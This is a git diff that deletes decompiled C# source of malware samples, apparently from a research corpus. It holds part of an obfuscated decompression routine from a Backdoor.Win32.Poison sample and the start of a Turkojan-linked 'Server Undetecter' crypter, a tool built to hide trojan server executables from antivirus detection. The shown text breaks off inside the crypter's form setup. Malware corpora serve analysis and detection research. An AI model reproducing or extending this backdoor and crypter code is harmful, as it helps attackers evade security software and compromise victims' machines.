(this.\u0005\u0016[(IntPtr) ((obj.\u000B << 4) + posState)].\u0007\u000C(this.\u0006\u0002) == 0U) - { - byte prevByte = this.m_\u0004\u0003.\u0004\u0006(0U); - this.m_\u0004\u0003.\u0004\u0007(obj.\u0005\u0008() ? this.\u0005\u001D.\u0006\u000D(this.\u0006\u0002, (uint) pos, prevByte) : this.\u0005\u001D.\u0006\u000E(this.\u0006\u0002, (uint) pos, prevByte, this.m_\u0004\u0003.\u0004\u0006(distance))); - obj.\u0005\u000A(); - ++pos; - } - else - { - uint len; - if (this.\u0005\u0018[(IntPtr) obj.\u000B].\u0007\u000C(this.\u0006\u0002) == 1U) - { - if (this.\u0005\u0019[(IntPtr) obj.\u000B].\u0007\u000C(this.\u0006\u0002) == 0U) - { - if (this.\u0005\u0017[(IntPtr) ((obj.\u000B << 4) + posState)].\u0007\u000C(this.\u0006\u0002) == 0U) - { - obj.\u0005\u000D(); - this.m_\u0004\u0003.\u0004\u0007(this.m_\u0004\u0003.\u0004\u0006(distance)); - ++pos; - continue; - } - } - else - { - uint num5; - if (this.\u0005\u001A[(IntPtr) obj.\u000B].\u0007\u000C(this.\u0006\u0002) == 0U) - { - num5 = num1; - } - else - { - if (this.\u0005\u001B[(IntPtr) obj.\u000B].\u0007\u000C(this.\u0006\u0002) == 0U) - { - num5 = num2; - } - else - { - num5 = num3; - num3 = num2; - } - num2 = num1; - } - num1 = distance; - distance = num5; - } - len = this.\u0006\u0003.\u0007\u000C(this.\u0006\u0002, posState) + 2U; - obj.\u0005\u000C(); - } - else - { - num3 = num2; - num2 = num1; - num1 = distance; - len = 2U + this.\u0005\u001C.\u0007\u000C(this.\u0006\u0002, posState); - obj.\u0005\u000B(); - uint num6 = this.\u0006[(IntPtr) \u0004\u000A.\u0004\u000C(len)].\u0007\u000C(this.\u0006\u0002); - if (num6 >= 4U) - { - int num7 = (int) (num6 >> 1) - 1; - uint num8 = (uint) ((2 | (int) num6 & 1) << num7); - distance = num6 >= 14U ? num8 + (this.\u0006\u0002.\u0006\u001B(num7 - 4) << 4) + this.\u0005\u001E.\u0007\u000A(this.\u0006\u0002) : num8 + \u0007\u0007.\u0007\u000A(this.\u0005\u001F, (uint) ((int) num8 - (int) num6 - 1), this.\u0006\u0002, num7); - } - else - distance = num6; - } - if ((ulong) distance >= pos || distance >= this.\u0005\u0015) - { - if (distance != uint.MaxValue) - throw new \u0002\u0001(); - break; - } - this.m_\u0004\u0003.\u0004\u0004(distance, len); - pos += (ulong) len; - } - } - this.m_\u0004\u0003.\u0004\u0005(); - this.m_\u0004\u0003.\u0002\u0017(); - this.\u0006\u0002.\u0002\u0017(); - } - - public void \u0002\u000C(byte[] properties) - { - if (properties.Length < 5) - throw new \u0002\u0005(); - int lc = (int) properties[0] % 9; - int num = (int) properties[0] / 9; - int lp = num % 5; - int pb = num / 5; - if (pb > 4) - throw new \u0002\u0005(); - uint dictionarySize = 0; - for (int index = 0; index < 4; ++index) - dictionarySize += (uint) properties[1 + index] << index * 8; - this.\u0005\u0010(dictionarySize); - this.\u0005\u0011(lp, lc); - this.\u0005\u0013(pb); - } - - private class \u0006\u0004 - { - private \u0007\u0001 \u0006\u0007 = new \u0007\u0001(); - private \u0007\u0001 \u0006\u0006 = new \u0007\u0001(); - private \u0007\u0007[] \u0006\u0009 = new \u0007\u0007[new IntPtr(16)]; - private \u0007\u0007[] \u0006\u000A = new \u0007\u0007[new IntPtr(16)]; - private \u0007\u0007 \u0006\u0008 = new \u0007\u0007(8); - private uint \u0006\u000B; - - public void \u0002\u0010(uint numPosStates) - { - for (uint index = this.\u0006\u000B; index < numPosStates; ++index) - { - this.\u0006\u0009[(IntPtr) index] = new \u0007\u0007(3); - this.\u0006\u000A[(IntPtr) index] = new \u0007\u0007(3); - } - this.\u0006\u000B = numPosStates; - } - - public void \u0001\u001B() - { - this.\u0006\u0007.\u0001\u001B(); - for (uint index = 0; index < this.\u0006\u000B; ++index) - { - this.\u0006\u0009[(IntPtr) index].\u0001\u001B(); - this.\u0006\u000A[(IntPtr) index].\u0001\u001B(); - } - this.\u0006\u0006.\u0001\u001B(); - this.\u0006\u0008.\u0001\u001B(); - } - - public uint \u0007\u000C(\u0006\u0005 rangeDecoder, uint posState) - { - if (this.\u0006\u0007.\u0007\u000C(rangeDecoder) == 0U) - return this.\u0006\u0009[(IntPtr) posState].\u0007\u000C(rangeDecoder); - uint num = 8; - return this.\u0006\u0006.\u0007\u000C(rangeDecoder) != 0U ? num + 8U + this.\u0006\u0008.\u0007\u000C(rangeDecoder) : num + this.\u0006\u000A[(IntPtr) posState].\u0007\u000C(rangeDecoder); - } - } - - private class \u0006\u000C - { - private \u0006\u0005.\u0006\u000C.\u0006\u0014[] \u0006\u0010; - private int \u0006\u0012; - private int \u0006\u0011; - private uint \u0006\u0013; - - public void \u0002\u0010(int numPosBits, int numPrevBits) - { - if (this.\u0006\u0010 != null && this.\u0006\u0012 == numPrevBits && this.\u0006\u0011 == numPosBits) - return; - this.\u0006\u0011 = numPosBits; - this.\u0006\u0013 = (uint) ((1 << numPosBits) - 1); - this.\u0006\u0012 = numPrevBits; - uint length = (uint) (1 << this.\u0006\u0012 + this.\u0006\u0011); - this.\u0006\u0010 = new \u0006\u0005.\u0006\u000C.\u0006\u0014[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.\u0006\u0010[(IntPtr) index].\u0002\u0010(); - } - - public void \u0001\u001B() - { - uint num = (uint) (1 << this.\u0006\u0012 + this.\u0006\u0011); - for (uint index = 0; index < num; ++index) - this.\u0006\u0010[(IntPtr) index].\u0001\u001B(); - } - - private uint \u0006\u000F(uint pos, byte prevByte) => (uint) ((((int) pos & (int) this.\u0006\u0013) << this.\u0006\u0012) + ((int) prevByte >> 8 - this.\u0006\u0012)); - - public byte \u0006\u000D(\u0006\u0005 rangeDecoder, uint pos, byte prevByte) => this.\u0006\u0010[(IntPtr) this.\u0006\u000F(pos, prevByte)].\u0006\u000D(rangeDecoder); - - public byte \u0006\u000E(\u0006\u0005 rangeDecoder, uint pos, byte prevByte, byte matchByte) => this.\u0006\u0010[(IntPtr) this.\u0006\u000F(pos, prevByte)].\u0006\u000E(rangeDecoder, matchByte); - - private struct \u0006\u0014 - { - private \u0007\u0001[] \u0006\u0015; - - public void \u0002\u0010() => this.\u0006\u0015 = new \u0007\u0001[768]; - - public void \u0001\u001B() - { - for (int index = 0; index < 768; ++index) - this.\u0006\u0015[index].\u0001\u001B(); - } - - public byte \u0006\u000D(\u0006\u0005 rangeDecoder) - { - uint index = 1; - do - { - index = index << 1 | this.\u0006\u0015[(IntPtr) index].\u0007\u000C(rangeDecoder); - } - while (index < 256U); - return (byte) index; - } - - public byte \u0006\u000E(\u0006\u0005 rangeDecoder, byte matchByte) - { - uint index = 1; - do - { - uint num1 = (uint) ((int) matchByte >> 7 & 1); - matchByte <<= 1; - uint num2 = this.\u0006\u0015[(IntPtr) ((uint) (1 + (int) num1 << 8) + index)].\u0007\u000C(rangeDecoder); - index = index << 1 | num2; - if ((int) num1 != (int) num2) - { - while (index < 256U) - index = index << 1 | this.\u0006\u0015[(IntPtr) index].\u0007\u000C(rangeDecoder); - break; - } - } - while (index < 256U); - return (byte) index; - } - } - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0005/_0006_0005.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0005/_0006_0005.cs deleted file mode 100644 index 5c3e98b3..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0005/_0006_0005.cs +++ /dev/null @@ -1,95 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -using System.IO; - -namespace \u0001\u0005 -{ - internal class \u0006\u0005 - { - public const uint \u0006\u001E = 16777216; - public uint \u000F; - public uint \u0007\u000D; - public Stream Stream; - - public void \u0001\u001B(Stream stream) - { - this.Stream = stream; - this.\u0007\u000D = 0U; - this.\u000F = uint.MaxValue; - for (int index = 0; index < 5; ++index) - this.\u0007\u000D = this.\u0007\u000D << 8 | (uint) (byte) this.Stream.ReadByte(); - } - - public void \u0002\u0017() => this.Stream = (Stream) null; - - public void \u0006\u0019() => this.Stream.Close(); - - public void \u0003\u0010() - { - for (; this.\u000F < 16777216U; this.\u000F <<= 8) - this.\u0007\u000D = this.\u0007\u000D << 8 | (uint) (byte) this.Stream.ReadByte(); - } - - public void \u0006\u001D() - { - if (this.\u000F >= 16777216U) - return; - this.\u0007\u000D = this.\u0007\u000D << 8 | (uint) (byte) this.Stream.ReadByte(); - this.\u000F <<= 8; - } - - public uint \u0006\u001C(uint total) => this.\u0007\u000D / (this.\u000F /= total); - - public void \u0007\u000C(uint start, uint size, uint total) - { - this.\u0007\u000D -= start * this.\u000F; - this.\u000F *= size; - this.\u0003\u0010(); - } - - public uint \u0006\u001B(int numTotalBits) - { - uint num1 = this.\u000F; - uint num2 = this.\u0007\u000D; - uint num3 = 0; - for (int index = numTotalBits; index > 0; --index) - { - num1 >>= 1; - uint num4 = num2 - num1 >> 31; - num2 -= num1 & num4 - 1U; - num3 = (uint) ((int) num3 << 1 | 1 - (int) num4); - if (num1 < 16777216U) - { - num2 = num2 << 8 | (uint) (byte) this.Stream.ReadByte(); - num1 <<= 8; - } - } - this.\u000F = num1; - this.\u0007\u000D = num2; - return num3; - } - - public uint \u0006\u001A(uint size0, int numTotalBits) - { - uint num1 = (this.\u000F >> numTotalBits) * size0; - uint num2; - if (this.\u0007\u000D < num1) - { - num2 = 0U; - this.\u000F = num1; - } - else - { - num2 = 1U; - this.\u0007\u000D -= num1; - this.\u000F -= num1; - } - this.\u0003\u0010(); - return num2; - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0005/_0007_0001.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0005/_0007_0001.cs deleted file mode 100644 index 54f600d9..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0005/_0007_0001.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -using \u0001\u0005; - -namespace \u0001\u0005 -{ - internal struct \u0007\u0001 - { - public const int \u0007\u0002 = 11; - public const uint \u0007\u0003 = 2048; - private const int \u0007\u0004 = 5; - private uint \u0007\u0005; - - public void \u0007\u0006(int numMoveBits, uint symbol) - { - if (symbol == 0U) - this.\u0007\u0005 += 2048U - this.\u0007\u0005 >> numMoveBits; - else - this.\u0007\u0005 -= this.\u0007\u0005 >> numMoveBits; - } - - public void \u0001\u001B() => this.\u0007\u0005 = 1024U; - - public uint \u0007\u000C(\u0006\u0005 rangeDecoder) - { - uint num = (rangeDecoder.\u000F >> 11) * this.\u0007\u0005; - if (rangeDecoder.\u0007\u000D < num) - { - rangeDecoder.\u000F = num; - this.\u0007\u0005 += 2048U - this.\u0007\u0005 >> 5; - if (rangeDecoder.\u000F < 16777216U) - { - rangeDecoder.\u0007\u000D = rangeDecoder.\u0007\u000D << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte(); - rangeDecoder.\u000F <<= 8; - } - return 0; - } - rangeDecoder.\u000F -= num; - rangeDecoder.\u0007\u000D -= num; - this.\u0007\u0005 -= this.\u0007\u0005 >> 5; - if (rangeDecoder.\u000F < 16777216U) - { - rangeDecoder.\u0007\u000D = rangeDecoder.\u0007\u000D << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte(); - rangeDecoder.\u000F <<= 8; - } - return 1; - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0005/_0007_0007.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0005/_0007_0007.cs deleted file mode 100644 index 6ccf897f..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0005/_0007_0007.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -using \u0001\u0005; -using System; - -namespace \u0001\u0005 -{ - internal struct \u0007\u0007 - { - private \u0007\u0001[] \u000E; - private int \u0007\u0009; - - public \u0007\u0007(int numBitLevels) - { - this.\u0007\u0009 = numBitLevels; - this.\u000E = new \u0007\u0001[1 << numBitLevels]; - } - - public void \u0001\u001B() - { - for (uint index = 1; (long) index < (long) (1 << this.\u0007\u0009); ++index) - this.\u000E[(IntPtr) index].\u0001\u001B(); - } - - public uint \u0007\u000C(\u0006\u0005 rangeDecoder) - { - uint index1 = 1; - for (int index2 = this.\u0007\u0009; index2 > 0; --index2) - index1 = (index1 << 1) + this.\u000E[(IntPtr) index1].\u0007\u000C(rangeDecoder); - return index1 - (uint) (1 << this.\u0007\u0009); - } - - public uint \u0007\u000A(\u0006\u0005 rangeDecoder) - { - uint index1 = 1; - uint num1 = 0; - for (int index2 = 0; index2 < this.\u0007\u0009; ++index2) - { - uint num2 = this.\u000E[(IntPtr) index1].\u0007\u000C(rangeDecoder); - index1 = (index1 << 1) + num2; - num1 |= num2 << index2; - } - return num1; - } - - public static uint \u0007\u000A( - \u0007\u0001[] _param0, - uint startIndex, - \u0006\u0005 rangeDecoder, - int _param3) - { - uint num1 = 1; - uint num2 = 0; - for (int index = 0; index < _param3; ++index) - { - uint num3 = _param0[(IntPtr) (startIndex + num1)].\u0007\u000C(rangeDecoder); - num1 = (num1 << 1) + num3; - num2 |= num3 << index; - } - return num2; - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0006.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0006.cs deleted file mode 100644 index 57063f8b..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0006.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -internal class \u0001\u0006 -{ -} diff --git a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/AssemblyInfo.cs b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/AssemblyInfo.cs deleted file mode 100644 index 1e59a2c6..00000000 --- a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyProduct("Server Undetecter")] -[assembly: AssemblyTitle("Server Undetecter")] -[assembly: AssemblyCopyright("Copyright © FEDERIKO 2010")] -[assembly: AssemblyCompany("Cyber-Warrior TİM")] -[assembly: AssemblyDescription("Coded By FEDERIKO")] -[assembly: Guid("766f4b67-7883-4e52-b4c2-6aa8be6d0e45")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: ComVisible(false)] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Backdoor.Win32.Turkojan.zwh.csproj b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Backdoor.Win32.Turkojan.zwh.csproj deleted file mode 100644 index 2113dd36..00000000 --- a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Backdoor.Win32.Turkojan.zwh.csproj +++ /dev/null @@ -1,55 +0,0 @@ - - - - - Debug - AnyCPU - {FE569521-7CB3-4FC5-AA1A-5BD9CF9C3EDC} - WinExe - Server Undetecter - 1.0.0.0 - Server_Undetecter - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Backdoor.Win32.Turkojan.zwh.sln b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Backdoor.Win32.Turkojan.zwh.sln deleted file mode 100644 index e9d50784..00000000 --- a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Backdoor.Win32.Turkojan.zwh.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server Undetecter", "Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.csproj", "{FE569521-7CB3-4FC5-AA1A-5BD9CF9C3EDC}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {FE569521-7CB3-4FC5-AA1A-5BD9CF9C3EDC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {FE569521-7CB3-4FC5-AA1A-5BD9CF9C3EDC}.Debug|Any CPU.Build.0 = Debug|Any CPU - {FE569521-7CB3-4FC5-AA1A-5BD9CF9C3EDC}.Release|Any CPU.ActiveCfg = Release|Any CPU - {FE569521-7CB3-4FC5-AA1A-5BD9CF9C3EDC}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Form1.cs b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Form1.cs deleted file mode 100644 index 1e50769b..00000000 --- a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Form1.cs +++ /dev/null @@ -1,503 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Server_Undetecter.Form1 -// Assembly: Server Undetecter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D5DD5A11-3E2A-4F57-B42E-07C8FDDA9C7E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Server_Undetecter.My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Runtime.CompilerServices; -using System.Windows.Forms; - -namespace Server_Undetecter -{ - [DesignerGenerated] - public class Form1 : Form - { - private IContainer components; - [AccessedThroughProperty("PictureBox1")] - private PictureBox _PictureBox1; - [AccessedThroughProperty("TextBox1")] - private TextBox _TextBox1; - [AccessedThroughProperty("Button1")] - private Button _Button1; - [AccessedThroughProperty("RadioButton1")] - private RadioButton _RadioButton1; - [AccessedThroughProperty("RadioButton2")] - private RadioButton _RadioButton2; - [AccessedThroughProperty("RadioButton3")] - private RadioButton _RadioButton3; - [AccessedThroughProperty("Button2")] - private Button _Button2; - [AccessedThroughProperty("Button3")] - private Button _Button3; - [AccessedThroughProperty("OpenFileDialog1")] - private OpenFileDialog _OpenFileDialog1; - [AccessedThroughProperty("SaveFileDialog1")] - private SaveFileDialog _SaveFileDialog1; - private string[] Oku; - private string Server; - private string İsim; - private string GömülmüşServer; - private string Builder; - private const string Yarık = "#FEDERIKO's Laß#"; - - [DebuggerNonUserCode] - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1)); - this.PictureBox1 = new PictureBox(); - this.TextBox1 = new TextBox(); - this.Button1 = new Button(); - this.RadioButton1 = new RadioButton(); - this.RadioButton2 = new RadioButton(); - this.RadioButton3 = new RadioButton(); - this.Button2 = new Button(); - this.Button3 = new Button(); - this.OpenFileDialog1 = new OpenFileDialog(); - this.SaveFileDialog1 = new SaveFileDialog(); - ((ISupportInitialize) this.PictureBox1).BeginInit(); - this.SuspendLayout(); - this.PictureBox1.Image = (Image) Server_Undetecter.My.Resources.Resources.Whack_20MS_20Access; - PictureBox pictureBox1_1 = this.PictureBox1; - Point point1 = new Point(12, 12); - Point point2 = point1; - pictureBox1_1.Location = point2; - this.PictureBox1.Name = "PictureBox1"; - PictureBox pictureBox1_2 = this.PictureBox1; - Size size1 = new Size(120, 120); - Size size2 = size1; - pictureBox1_2.Size = size2; - this.PictureBox1.SizeMode = PictureBoxSizeMode.StretchImage; - this.PictureBox1.TabIndex = 0; - this.PictureBox1.TabStop = false; - TextBox textBox1_1 = this.TextBox1; - point1 = new Point(138, 12); - Point point3 = point1; - textBox1_1.Location = point3; - this.TextBox1.Name = "TextBox1"; - TextBox textBox1_2 = this.TextBox1; - size1 = new Size(170, 21); - Size size3 = size1; - textBox1_2.Size = size3; - this.TextBox1.TabIndex = 1; - Button button1_1 = this.Button1; - point1 = new Point(138, 109); - Point point4 = point1; - button1_1.Location = point4; - this.Button1.Name = "Button1"; - Button button1_2 = this.Button1; - size1 = new Size(121, 23); - Size size4 = size1; - button1_2.Size = size4; - this.Button1.TabIndex = 2; - this.Button1.Text = "Undetect Server !"; - this.Button1.UseVisualStyleBackColor = true; - this.RadioButton1.Checked = true; - RadioButton radioButton1_1 = this.RadioButton1; - point1 = new Point(138, 39); - Point point5 = point1; - radioButton1_1.Location = point5; - this.RadioButton1.Name = "RadioButton1"; - RadioButton radioButton1_2 = this.RadioButton1; - size1 = new Size(203, 17); - Size size5 = size1; - radioButton1_2.Size = size5; - this.RadioButton1.TabIndex = 3; - this.RadioButton1.TabStop = true; - this.RadioButton1.Text = "Binary"; - this.RadioButton1.UseVisualStyleBackColor = true; - RadioButton radioButton2_1 = this.RadioButton2; - point1 = new Point(138, 62); - Point point6 = point1; - radioButton2_1.Location = point6; - this.RadioButton2.Name = "RadioButton2"; - RadioButton radioButton2_2 = this.RadioButton2; - size1 = new Size(203, 17); - Size size6 = size1; - radioButton2_2.Size = size6; - this.RadioButton2.TabIndex = 4; - this.RadioButton2.Text = "Hex Code"; - this.RadioButton2.UseVisualStyleBackColor = true; - RadioButton radioButton3_1 = this.RadioButton3; - point1 = new Point(138, 85); - Point point7 = point1; - radioButton3_1.Location = point7; - this.RadioButton3.Name = "RadioButton3"; - RadioButton radioButton3_2 = this.RadioButton3; - size1 = new Size(203, 17); - Size size7 = size1; - radioButton3_2.Size = size7; - this.RadioButton3.TabIndex = 5; - this.RadioButton3.Text = "Hash Code"; - this.RadioButton3.UseVisualStyleBackColor = true; - Button button2_1 = this.Button2; - point1 = new Point(310, 11); - Point point8 = point1; - button2_1.Location = point8; - this.Button2.Name = "Button2"; - Button button2_2 = this.Button2; - size1 = new Size(31, 23); - Size size8 = size1; - button2_2.Size = size8; - this.Button2.TabIndex = 6; - this.Button2.Text = "---"; - this.Button2.UseVisualStyleBackColor = true; - Button button3_1 = this.Button3; - point1 = new Point(265, 109); - Point point9 = point1; - button3_1.Location = point9; - this.Button3.Name = "Button3"; - Button button3_2 = this.Button3; - size1 = new Size(76, 23); - Size size9 = size1; - button3_2.Size = size9; - this.Button3.TabIndex = 7; - this.Button3.Text = "Hakkında"; - this.Button3.UseVisualStyleBackColor = true; - this.OpenFileDialog1.Filter = "Server (*.exe; *.scr; *.pif; *.com; *.dll)|*.exe; *.scr; *.pif; *.com; *.dll"; - this.OpenFileDialog1.ShowHelp = true; - this.OpenFileDialog1.Title = "Server Aç"; - this.SaveFileDialog1.Filter = "Uygulama (*.exe)|*.exe"; - this.SaveFileDialog1.ShowHelp = true; - this.SaveFileDialog1.Title = "Kaydet"; - this.AutoScaleDimensions = new SizeF(7f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.BackColor = Color.Black; - size1 = new Size(353, 144); - this.ClientSize = size1; - this.Controls.Add((Control) this.Button3); - this.Controls.Add((Control) this.Button2); - this.Controls.Add((Control) this.RadioButton3); - this.Controls.Add((Control) this.RadioButton2); - this.Controls.Add((Control) this.RadioButton1); - this.Controls.Add((Control) this.Button1); - this.Controls.Add((Control) this.TextBox1); - this.Controls.Add((Control) this.PictureBox1); - this.Font = new Font("Verdana", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 162); - this.ForeColor = Color.DimGray; - this.FormBorderStyle = FormBorderStyle.FixedToolWindow; - this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (Form1); - this.StartPosition = FormStartPosition.CenterScreen; - this.Text = "FEDERIKO's Server Undetecter"; - ((ISupportInitialize) this.PictureBox1).EndInit(); - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual PictureBox PictureBox1 - { - [DebuggerNonUserCode] get => this._PictureBox1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox1 = value; - } - - internal virtual TextBox TextBox1 - { - [DebuggerNonUserCode] get => this._TextBox1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value; - } - - internal virtual Button Button1 - { - [DebuggerNonUserCode] get => this._Button1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Button1_Click); - if (this._Button1 != null) - this._Button1.Click -= eventHandler; - this._Button1 = value; - if (this._Button1 == null) - return; - this._Button1.Click += eventHandler; - } - } - - internal virtual RadioButton RadioButton1 - { - [DebuggerNonUserCode] get => this._RadioButton1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.RadioButton1_CheckedChanged); - if (this._RadioButton1 != null) - this._RadioButton1.CheckedChanged -= eventHandler; - this._RadioButton1 = value; - if (this._RadioButton1 == null) - return; - this._RadioButton1.CheckedChanged += eventHandler; - } - } - - internal virtual RadioButton RadioButton2 - { - [DebuggerNonUserCode] get => this._RadioButton2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.RadioButton2_CheckedChanged); - if (this._RadioButton2 != null) - this._RadioButton2.CheckedChanged -= eventHandler; - this._RadioButton2 = value; - if (this._RadioButton2 == null) - return; - 